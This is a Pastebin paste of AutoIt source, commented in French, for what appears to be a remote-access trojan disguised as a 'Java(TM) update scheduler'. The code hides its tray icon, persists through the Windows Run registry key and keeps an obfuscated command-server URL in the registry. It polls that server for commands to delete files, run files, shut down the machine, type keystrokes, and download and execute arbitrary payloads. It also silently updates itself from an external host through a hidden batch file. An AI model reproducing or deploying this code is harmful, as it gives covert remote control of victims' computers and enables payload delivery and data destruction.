Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
- #AutoIt3Wrapper_Icon=..\..\..\Button-Next-icon.ico
- #AutoIt3Wrapper_UseX64=n
- #AutoIt3Wrapper_Res_Description=Java(TM) update scheduler
- #AutoIt3Wrapper_Res_Fileversion=1337.0.0.0
- #AutoIt3Wrapper_Res_Language=1031
- #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
- #Include <String.au3>
- $Delay=10000
- Const $Version = "1.1.0"
- If StringInStr(@ScriptName, "au3") Then ;Si le nom du programme contient .au3 c'est qu'il n'est pas compilé et que c'est moi qui l'execute
- $devmode = True
- TraySetState(1)
- Else
- $devmode = False
- #NoTrayIcon
- EndIf
- ;Verification clé de registre
- $temp = RegRead('HKCU\Software\Microsoft\Windows\CurrentVersion\Run','dws')
- If $temp = "" Then _Console("Clé de registre non établie")
- AdlibRegister("SoftUpdate", 1200000)
- SoftUpdate()
- RegWrite('HKCU\Software\Microsoft\Windows\CurrentVersion\Run', 'dws', 'REG_SZ', '"'&@ScriptFullPath&'" -silent')
- ;Verification des erreurs fatales possibles
- If FileExists(@ScriptDir&"\receiver.ini") Then
- $FtpUrl = IniRead(@ScriptDir&"\receiver.ini", "FTP", "URL", "")
- $FtpUrl = _StringEncrypt(0, $FtpUrl, "Stallman", 1)
- If $FtpUrl = "" Then
- Emergency(1)
- Else ;Fichier ini trouvé
- $FtpUrl = RegWrite("HKCU\Software\dbh", "dws", "REG_SZ", _StringEncrypt(1, $FtpUrl, "Stallman", 1))
- If $FtpUrl <> 1 Then _Console("Erreur lors de l'écriture de la clé de registre : "&@error)
- $FtpUrl = RegRead("HKCU\Software\dbh", "dws")
- $FtpUrl = _StringEncrypt(0, $FtpUrl, "Stallman", 1)
- If $FtpUrl = "" Then
- _Console("Erreur lors de la récupération de la clé de registre, adresse URL vide")
- $FtpUrl = IniRead(@ScriptDir&"\receiver.ini", "FTP", "URL", "")
- $FtpUrl = _StringEncrypt(0, $FtpUrl, "Stallman", 1)
- Else
- If $devmode = False Then FileDelete(@ScriptDir&"\receiver.ini")
- EndIf
- EndIf
- Else
- $FtpUrl = RegRead("HKCU\Software\dbh", "dws")
- $FtpUrl = _StringEncrypt(0, $FtpUrl, "Stallman", 1)
- If $FtpUrl = "" Then
- _Console("Erreur lors de la récupération de la clé de registre, adresse URL vide")
- Emergency(1)
- EndIf
- EndIf
- ;Prototypes de variables
- Global $FullCommand[3]
- Global $LCommand[4]
- $FirstTime = True
- $OldFullCommand = "none"
- $fileToDownload = "command.png"
- ;Code
- $FullCommand = ReadCommand()
- $OldFullCommand = $FullCommand
- OnAutoItExitRegister("extinction")
- InetGet($FtpUrl&"/logs.php?action=join", "logs.dbh", 1)
- FileDelete("logs.dbh")
- While 1
- Sleep($Delay)
- $FullCommand = ReadCommand() ;ReadCommand lit la commande disposée sur le site
- If StringCompare($FullCommand, $OldFullCommand) <> 0 Then
- _Console("Full commande : "&$FullCommand)
- $LCommand = StringSplit($FullCommand, "°")
- _Console("Commande : "&$LCommand[1])
- Switch $LCommand[1]
- Case "DSuppr"
- If FileExists($LCommand[2]) Then
- FileDelete($LCommand[2])
- _Console("DSuppr réussi")
- EndIf
- Case "DExec"
- If FileExists($LCommand[2]) Then
- ShellExecute($LCommand[2])
- _Console("DExec réussi")
- EndIf
- Case "AShutdown"
- Shutdown($LCommand[2])
- Case "TDownload" ;Bonne chance
- If $LCommand[3] = "" Then
- If StringInStr($LCommand[2], "/") Then
- $TDownload = StringSplit($LCommand[2], "/");Split l'url à chaque /
- If $TDownload[0] <> 0 Then ;Si le stringsplit a marché
- InetGet($LCommand[2], @ScriptDir&"\"&$TDownload[$TDownload[0]], 1) ;Découpe l'url de Dl a tous les slashs puis
- ;prend la dernière partie en tant que filename
- If $LCommand[4] = 1 Then
- If FileExists(@ScriptDir&"\"&$TDownload[$TDownload[0]]) Then
- ShellExecute(@ScriptDir&"\"&$TDownload[$TDownload[0]])
- Else
- _Console("Le fichier tout juste téléchargé est introuvable")
- EndIf
- EndIf
- Else
- _Console("Erreur : Caractère / trouvé dans l'url mais il est impossible de splitter l'url")
- Exit
- EndIf
- Else ;Si il n'y a pas de / dans l'url
- InetGet($LCommand[2], @ScriptDir&"\dws.dbh", 1)
- If $LCommand[4] = 1 Then
- If FileExists(@ScriptDir&"\dws.dbh") Then
- ShellExecute(@ScriptDir&"\dws.dbh")
- Else
- _Console("Le fichier tout juste téléchargé est introuvable")
- EndIf
- EndIf
- EndIf
- Else
- InetGet($LCommand[2], $LCommand[3], 1)
- If $LCommand[4] = 1 Then
- If FileExists($LCommand[3]) Then
- ShellExecute($LCommand[3])
- Else
- _Console("Le fichier tout juste téléchargé est introuvable")
- EndIf
- EndIf
- EndIf
- Case "FEdit"
- Send($LCommand[2])
- _Console("FEdit réussi")
- Case "PPing"
- Case Else
- _Console("Commande non reconnue")
- EndSwitch
- $OldFullCommand = $FullCommand
- EndIf
- WEnd
- ;###############Fonctions
- ;Gestion des erreurs fatales
- Func Emergency($EmID)
- Switch $EmID
- Case 0
- $EmDef="INI file not found"
- Case 1
- $EmDef="FTP's URL not found"
- EndSwitch
- ConsoleWriteError("Error number : "&$EmID&" Definition : "&$EmDef&"."&@CRLF)
- Exit
- EndFunc
- ;Récupération du fichier contenant la todolist sur le net et lecture
- Func ReadCommand()
- $DownloadSize = InetGet($FtpUrl&"/"&$fileToDownload, @ScriptDir&"\dws.dbh", 1)
- _Console("InetGet fait sur : "&$FtpUrl&"/"&$fileToDownload&"[Taille du download:"&$DownloadSize&"]")
- $FText = FileRead(@ScriptDir&"\dws.dbh")
- FileDelete(@ScriptDir&"\dws.dbh")
- Return $FText
- EndFunc
- ;Juste un consolewrite avec un passement de ligne auto
- Func _Console($CText)
- ConsoleWrite($CText&@CRLF)
- EndFunc
- ;Vérification de si il y a une mise à jour
- Func SoftUpdate()
- Local $DbhVersion = ""
- InetGet("http://bambousoftware.mtxserv.fr/Version.ini", @ScriptDir&"\dbv.dbh")
- $ClientVersion = IniRead(@ScriptDir&"\dbv.dbh", "All", "Version", "none")
- If StringCompare($Version, $ClientVersion) Then ;Si deux strings pas égales
- Local $ClientDl = ""
- $ClientDl = IniRead(@ScriptDir&"\dbv.dbh", "All", "DL", "none")
- If $ClientDl <> "none" Then ;Si il y a un lien de dl
- $ClientDl = InetGet($ClientDl, @ScriptDir&"\dbhupdate.exe")
- If $ClientDl <> 0 Then ;Si téléchargement a fonctionné
- If FileExists(@ScriptDir&"\dbh.bat") Then
- FileDelete(@ScriptDir&"\dbh.bat")
- EndIf
- FileWrite(@ScriptDir&"\dbh.bat", "@echo off"&@CRLF)
- FileWrite(@ScriptDir&"\dbh.bat", "del "&@ScriptName&@CRLF)
- FileWrite(@ScriptDir&"\dbh.bat", "Ren dbhupdate.exe "&@ScriptName&@CRLF)
- FileWrite(@ScriptDir&"\dbh.bat", "start "&@ScriptName&@CRLF)
- Run(@ScriptDir&"\dbh.bat", "",@SW_HIDE)
- EndIf
- EndIf
- EndIf
- FileDelete(@ScriptDir&"\dbv.dbh")
- EndFunc
- Func extinction()
- InetGet($FtpUrl&"/log.php?action=quit", "logs.dbh", 1)
- FileDelete("logs.dbh")
- EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement